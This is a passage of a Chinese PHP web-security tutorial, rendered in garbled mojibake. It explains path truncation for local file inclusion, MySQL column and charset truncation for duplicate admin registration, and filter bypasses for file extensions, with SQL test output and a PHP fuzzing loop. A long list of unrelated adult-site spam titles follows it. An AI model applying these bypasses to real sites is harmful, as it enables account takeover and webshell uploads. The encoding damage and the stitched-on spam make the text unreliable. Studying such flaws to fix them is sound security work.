    經(jīng)過(guò)測(cè)試字符'.'、'/'或者2個(gè)字符的組合,在一定的長(zhǎng)度時(shí)將被截?cái)?,win系統(tǒng)和*nix的系統(tǒng)長(zhǎng)度不一樣,當(dāng)win下strlen(realpath('./'))+strlen($_GET['action'])的長(zhǎng)度大于256時(shí)被截?cái)?,?duì)于*nix的長(zhǎng)度是4 * 1024 = 4096。對(duì)于php.ini里設(shè)置遠(yuǎn)程文件關(guān)閉的時(shí)候就可以利用上面的技巧包含本地文件了

    0x3: 數(shù)據(jù)截?cái)?/em>

    對(duì)于很多web應(yīng)用文件在很多功能是不容許重復(fù)數(shù)據(jù)的,比如用戶注冊(cè)功能等。一般的應(yīng)用程序?qū)τ谔峤蛔?cè)的username和數(shù)據(jù)庫(kù)里已有的username對(duì)比是不是已經(jīng)有重復(fù)數(shù)據(jù),然而我們可以通過(guò)“數(shù)據(jù)截?cái)?rdquo;等來(lái)饒過(guò)這些判斷,數(shù)據(jù)庫(kù)在處理時(shí)候產(chǎn)生截?cái)鄬?dǎo)致插入重復(fù)數(shù)據(jù)。

    1) Mysql SQL Column Truncation Vulnerabilities這個(gè)是由于mysql的sql_mode設(shè)置為default的時(shí)候,即沒(méi)有開(kāi)啟STRICT_ALL_TABLES選項(xiàng)時(shí),MySQL對(duì)于插入超長(zhǎng)的值只會(huì)提示warning,而不是error(如果是error就插入不成功),這樣可能會(huì)導(dǎo)致一些截?cái)鄦?wèn)題。測(cè)試如下:mysql> insert into truncated_test(`username`,`password`) values('admin','pass');mysql> insert into truncated_test(`username`,`password`) values('admin           x', 'new_pass');Query OK, 1 row affected, 1 warning (0.01 sec)mysql> select * from truncated_test;+----+------------+----------+| id | username   | password |+----+------------+----------+| 1 | admin      | pass     || 2 | admin      | new_pass |+----+------------+----------+2 rows in set (0.00 sec)2) Mysql charset Truncation vulnerability當(dāng)mysql進(jìn)行數(shù)據(jù)存儲(chǔ)處理utf8等數(shù)據(jù)時(shí)對(duì)某些字符導(dǎo)致數(shù)據(jù)截?cái)?。測(cè)試如下:mysql> insert into truncated_test(`username`,`password`) values(concat('admin',0xc1), 'new_pass2');Query OK, 1 row affected, 1 warning (0.00 sec)mysql> select * from truncated_test;+----+------------+----------+| id | username   | password |+----+------------+----------+| 1 | admin      | pass      || 2 | admin      | new_pass  || 3 | admin      | new_pass2 |+----+------------+----------+2 rows in set (0.00 sec)很多的web應(yīng)用程序沒(méi)有考慮到這些問(wèn)題,只是在數(shù)據(jù)存儲(chǔ)前簡(jiǎn)單查詢(xún)數(shù)據(jù)是否包含相同數(shù)據(jù),如下代碼:$result = mysql_query('SELECT * from test_user where user='$user' ');  ....if(@mysql_fetch_array($result, MYSQL_NUM)) {        die('already exist');}

    這兩種漏洞都有可能導(dǎo)致賬戶重復(fù)注冊(cè)、管理員帳號(hào)提權(quán)等漏洞。

    0x4: 文件操作里的特殊字符
    文件操作里有很多特殊的字符,發(fā)揮特別的作用,很多web應(yīng)用程序沒(méi)有注意處理這些字符而導(dǎo)致安全問(wèn)題。比如很多人都知道的windows系統(tǒng)文件名對(duì)'空格'和'.'等的忽視,這個(gè)主要體現(xiàn)在上傳文件或者寫(xiě)文件上,導(dǎo)致直接寫(xiě)webshell。另外對(duì)于windows系統(tǒng)對(duì)'...'進(jìn)行系統(tǒng)轉(zhuǎn)跳等等。例如:

    <?php    ..    //Is this code vul?    if( eregi('.php',$url) )    {        die('ERR');    }    $fileurl=str_replace($webdb[www_url],'',$url);    .....    header('Content-Disposition: attachment; filename='.$filename);

    很多人看出來(lái)了上面的代碼的問(wèn)題,程序首先禁止使用'.php'后綴。但是下面居然接了個(gè)str_replace替換$webdbwww_url為空,那么我們提交'.p$webdbwww_urlhp'就可以饒過(guò)了。那么上面的代碼雜fix呢?有人給出了如下代碼:

    <?php    ..    $fileurl=str_replace($webdb[www_url],'',$url);    if( eregi('.php',$url) )    {        die('ERR');    }

    str_replace提到前面了,很完美的解決了str_replace代碼的安全問(wèn)題,但是問(wèn)題不是那么簡(jiǎn)單,上面的代碼在某些系統(tǒng)上一樣可以突破。接下來(lái)我們先看看下面的代碼:

    <?php    for($i=0;$i<255;$i++)     {        $url = 'index.ph'.chr($i);        $tmp = @file_get_contents($url);        if(!empty($tmp)) echo chr($i).'';    }  ?>ok

    我們?cè)趙indows系統(tǒng)運(yùn)行上面的代碼得到如下字符

    1. < 2. > 3. P4. p

    都可以打開(kāi)目錄下的index.php。這可以被作為一個(gè)文件后綴名繞過(guò)的思路。

    6. 怎么進(jìn)一步尋找新的字典

    上面我們列舉很多的字典,但是很多都是已經(jīng)公開(kāi)過(guò)的漏洞或者方式,那么我們?cè)趺催M(jìn)一步找到新的字典或者利用方式呢?

    1. 分析和學(xué)習(xí)別人發(fā)現(xiàn)的漏洞或者exp,總結(jié)出漏洞類(lèi)型及字典2. 通過(guò)學(xué)習(xí)php手冊(cè)或者官方文檔,挖掘出新的有危害的函數(shù)或者利用方式3. fuzz php的函數(shù),找到新的有問(wèn)題的函數(shù)(不一定非要溢出的),有很多問(wèn)題都可以簡(jiǎn)單的fuzz腳本可以測(cè)試出來(lái)4. 分析php源代碼,發(fā)現(xiàn)新的漏洞函數(shù)'特性'或者漏洞,如果你要進(jìn)一步找到新的字典,可以在php源代碼的基礎(chǔ)上分析下成因,然后根據(jù)這個(gè)成因來(lái)分析尋找新的漏洞函數(shù)'特性'或者漏洞。 5. 有條件或者機(jī)會(huì)和開(kāi)發(fā)者學(xué)習(xí),找到他們實(shí)現(xiàn)某些常用功能的代碼的缺陷或者容易忽視的問(wèn)

    PHP編程

    鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

  • 發(fā)表評(píng)論 共有條評(píng)論
    用戶名: 密碼:
    驗(yàn)證碼: 匿名發(fā)表
    成人区一区二区| 大黄网站在线观看| 亚洲品质视频自拍网| 精品亚洲夜色av98在线观看| 后进极品白嫩翘臀在线播放| 日本精品一区二区三区视频| 橘梨纱av一区二区三区在线观看| 成人小视频在线观看| 国产在线超碰| 免费永久网站黄欧美| 蜜桃传媒麻豆第一区在线观看| 亚洲天堂2017| 91国内揄拍国内精品对白| 国产伊人精品在线| 欧美日韩亚洲国产| 久久久久99精品久久久久| 韩国精品免费视频| 精品无人区乱码1区2区3区在线| 成人在线观看免费网站| 国产欧美日韩在线播放| 在线亚洲精品| 国产尤物精品| 人人妻人人澡人人爽人人欧美一区| 色综合中文字幕| 成人午夜黄色影院| 91成人免费观看| 国产精品无码一区二区桃花视频| 亚洲欧美日韩一区二区在线| 欧美日韩国产在线| 77导航福利在线| 影音先锋在线国产| 国产一区二区在线视频播放| 中文字幕国产日韩| 国产精品天天av精麻传媒| 亚洲自偷自拍熟女另类| 欧美三级韩国三级日本三斤| 国产精品久久久免费看| 污污片在线免费视频| 在线视频福利一区| 韩国精品一区二区三区| 麻豆一区区三区四区产品精品蜜桃| 欧美久久久久久久久久久久| 亚洲欧美小视频| 久久 天天综合| www.欧美日韩国产在线| 国产日产精品一区二区三区四区| 久久久久国产精品视频| 欧美精彩一区二区三区| 国产成人av电影免费在线观看| 麻豆影视国产在线观看| 9i看片成人免费高清| 99精品国产高清在线观看| thepron国产精品| 麻豆国产在线视频| 向日葵污视频在线观看| 国产精品亚洲片夜色在线| 久久久国产综合精品女国产盗摄| a天堂在线观看视频| 国产精品福利无圣光在线一区| 欧美日韩成人一区二区三区| 天堂一区二区在线免费观看| 国产综合视频在线观看| 日本一区二区在线| 国产美女网站在线观看| 国产丝袜视频一区| 欧美一区二区高清| 俺去亚洲欧洲欧美日韩| 国产精品16p| 中文字幕一区在线播放| 欧美成年人视频在线观看| 亚洲欧美在线免费| 日韩欧美色综合网站| 国产成人羞羞电影网站在线观看| 丁香六月色婷婷| 国产精品午夜av在线| 亚洲成av人片在线观看| 91嫩草|国产丨精品入口| 久国产精品视频| 国产精品久久久久7777按摩| 国产一区二区三区丝袜| 日韩av片免费在线观看| 国产精品视频一区二区三| 亚洲精品久久久久久无码色欲四季| 日韩av片子| 久久午夜无码鲁丝片午夜精品| 欧美视频在线视频| 91精品一区二区三区久久久久久| 六月丁香在线视频| 亚洲欧洲成人精品av97| 成年人福利网站| 成年人在线播放| 亚洲欧洲在线一区| 免费观看成人网| 极品中文字幕一区| 在线看片第一页欧美| 丰满岳乱妇一区二区三区| 国产精品成人国产乱一区| www.噜噜色.com| 久久久久99精品成人片毛片| 一区二区三区少妇| 亚洲v日韩v综合v精品v| 成人在线观看视频网站| 成人亚洲综合色就1024| 国产精品久久久久久久久久小说| 视频一区二区三区中文字幕| 成人高潮a毛片免费观看网站| 先锋影音av中文字幕| 久久精品夜夜夜夜久久| 成人在线免费观看av| 一区二区三区精品视频在线观看| 可以在线观看av的网站| av地址在线观看| 116美女写真午夜一级久久| 欧美性资源免费| 国产91亚洲精品一区二区三区| 欧美日韩黄色网| 91精品婷婷国产综合久久竹菊| 国产喷水在线观看| 在线视频你懂得| 六月天色婷婷| 自拍亚洲图区| 人成在线视频| 午夜精品久久一牛影视| 国产成人av一区二区| 精品亚洲免a| 欧美大片久久久| 18深夜在线观看免费视频| 粉嫩精品一区二区三区在线观看| 国产视频网站一区二区三区| 成人网址大全| 国产女人18毛片| 免费看三级黄色片| 天堂中文最新版在线中文| 中文在线有码| 日韩人妻精品无码一区二区三区| 老司机福利在线观看| 黄色在线视频网站| 综合欧美视频一区二区三区| 国产午夜精品理论片a级探花| 欧美日韩亚洲精品一区二区三区| 久久精品91久久香蕉加勒比| 欧美激情成人网| 啪啪av大全导航福利网址| 亚洲一区av在线播放| 青青草av网站| 日韩av久操| jlzzjlzzjlzz亚洲人| 久久9999久久免费精品国产| 色综合五月天导航| 狠狠色综合网站久久久久久久| 韩国日本美国免费毛片| 午夜精品短视频| 欧美午夜宅男影院在线观看| 欧美午夜精品免费| 亚洲风情亚aⅴ在线发布| 亚洲精品免费电影| 亚洲精品国产无码| 欧美日本精品一区二区三区| 亚洲欧美韩国综合色| 天天综合日日夜夜精品| 亚洲国产中文字幕在线| 精品久久久网站| 一个人在线观看免费视频www| 欧美福利视频一区| av网页在线观看| 那种视频在线观看| 九九久久久久久| 国产在线一区二| 久热中文在线| 蜜桃久久精品成人无码av| 国产淫片在线观看| 色偷偷综合网| 97精品国产97久久久久久免费| 韩国欧美亚洲国产| 少妇无码av无码专区在线观看| 92福利视频午夜1000合集在线观看| 在线观看精品国产视频| 超黄网站在线观看| 国产视频一区二区三区在线播放| 宇都宫紫苑在线播放| 久久国产欧美精品| 国产91精品欧美| 成人看av片| 国产一区二区三区黄片| 国产精品v片在线观看不卡| 国产在线观看一区二区三区| 亚洲国内精品视频| 欧美不卡福利| 国产伦精品一区二区三区四区免费| 91涩漫在线观看| 国产福利在线观看视频| 亚洲精品视频在线| 日本aⅴ免费视频一区二区三区| 污网站视频在线观看| 视频一区视频二区中文字幕| 伪装者免费全集在线观看| 国产91精品久久久久久久| 欧美日韩中文字幕在线| 最新国产精品久久| 亚洲精品成av人片天堂无码| 国产一区二区免费在线观看| 久久成人av网站| www.亚洲人.com| 国产又粗又长又大视频| 熟女少妇一区二区三区| 国产成人综合亚洲欧美在| 国产51自产区| 草色在线视频| 91在线公开视频| 国产精品一区2区| 国产精品久久99| 在线成人www免费观看视频| 《视频一区视频二区| 少妇无码一区二区三区| 国内老熟妇对白hdxxxx| 日韩中文字幕在线视频| 亚洲一区二区小说| av中文字幕在线| 黄色免费影视| 国产中文精品久高清在线不| 97在线视频国产| 亚洲福利在线播放| 国产污污在线观看| 免费在线不卡视频| 无码av中文一区二区三区桃花岛| 欧美激情国产高清| 色婷婷中文字幕| 日本 国产 欧美色综合| 欧美影院午夜播放| 高清国语自产拍免费一区二区三区| 国产成人免费观看| 久久久亚洲网站| 亚洲.欧美.日本.国产综合在线| 亚洲观看高清完整版在线观看| 四虎4545www国产精品| 中国一级片黄色一级片黄| 亚洲日韩中文字幕| 色哟哟网站入口亚洲精品| 日本免费一区二区视频| 美女主播视频一区| 日韩欧美第二区在线观看| 中文字幕在线字幕中文| 伊人久久综合97精品| 亚洲va久久久噜噜噜| 欧美精品日本| www.嫩草免费在线观看| 国产尤物一区二区三区| 日日摸夜夜爽人人添| 国内老熟妇对白xxxxhd| 亚洲欧美成人影院| 亚洲一卡二卡三卡四卡无卡久久| 你懂的视频在线免费| 亚洲成人福利在线观看| 杨幂一区欧美专区| 久久这里只有精品国产| 亚洲乱码日产精品bd在线观看| 国产福利一区二区三区视频| 国产永久免费视频| 性高潮久久久久久久久| 国产亚洲精品久久久久久青梅| 国产成人免费电影| 亚洲成色999久久网站| 久久精品97| 日本中文字幕观看| 高潮无码精品色欲av午夜福利| 在线免费观看的av网站| 日本美女一区二区三区视频| 午夜精品久久久久99热蜜桃导演| 成人午夜免费电影| 国产日韩欧美精品综合| 97精品国产97久久久久久久久久久久| 日本免费www| 美女av在线免费看| 国产调教视频一区| 精品视频一区三区九区| 中文字幕亚洲精品在线观看| 成全在线观看免费完整动漫| 激情懂色av一区av二区av| 亚洲欧美另类小说| 中文字幕人妻熟女人妻a片| 国产免费av一区二区三区| 成人性a激情免费视频| 电影一区二区三| 久久精品小视频| 国产精品久久久久久久久久妞妞| 日韩一区二区三区精品| 欧美激情一区二区三区四区| 国精产品一区一区三区有限在线| 久久狠狠久久| 国产精品色呦| 欧美一区二区久久久| 精品一区免费av| 免费污网站在线观看| 影音国产精品| 精品国产无码在线观看| 91黄色在线看| 亚洲一级网站| 午夜欧美性电影| 色999久久久精品人人澡69| 精品捆绑美女sm三区| 伊人中文在线| 欧美亚洲一二三区| 人人插人人干| 三级一区二区三区| 久久久久久久久影视| 成人午夜短视频| 不卡av一区二区| 亚洲欧美资源在线| 色综合天天视频在线观看| 91精品久久久久久久久久不卡| 日韩有码中文字幕在线| 五月天激情丁香| 免费无码av片在线观看| 国产日韩精品一区二区| 日韩在线视频观看免费| 可播放的18gay1069| 日韩av免费网站| 欧美成人福利视频| 波多野结衣爱爱| 免费毛片在线| 精品少妇一区二区三区在线视频| 高清无码视频直接看| 日韩一本二本av| 亚洲日本中文| 日本熟伦人妇xxxx| 国产一区二区三区视频| 视频一区视频二区国产精品| 性欧美在线视频|